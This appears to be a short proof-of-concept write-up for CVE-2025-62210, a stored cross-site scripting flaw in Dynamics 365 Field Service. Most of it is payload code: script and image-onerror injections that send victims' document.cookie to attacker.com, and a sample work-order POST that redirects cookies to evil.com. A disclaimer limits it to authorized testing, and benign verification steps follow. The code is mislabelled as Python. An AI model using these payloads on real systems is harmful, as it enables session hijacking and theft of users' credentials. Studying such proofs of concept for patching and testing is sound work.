Improper neutralization of input during web page generation ('cross-site scripting') in Dynamics 365 Field Service (online) allows an authorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
// CVE-2025-62210 XSS PoC for Microsoft Dynamics 365 Field Service
// This PoC demonstrates the stored XSS vulnerability
// Malicious payload injection
const maliciousPayload = {
fieldServiceField: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>',
descriptionField: '<img src=x onerror="fetch(\"https://attacker.com/log?data=\"+btoa(document.cookie))" />'
};
// Example: Submitting the payload through API or UI
// POST /api/fieldservice/workorders
// Content-Type: application/json
// {
// "description": "<script>document.location='https://evil.com?c='+document.cookie</script>",
// "productId": "12345"
// }
// When victim views the work order, the script executes
// Attacker's server receives victim's session cookies
console.log('XSS Payload: <script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>');
// Recommended verification steps:
// 1. Identify input fields in Dynamics 365 Field Service
// 2. Inject test payload: <img src=x onerror=alert(document.domain)>
// 3. Check if payload is reflected/stored without encoding
// 4. Verify with browser DevTools if script executes
module.exports = { maliciousPayload };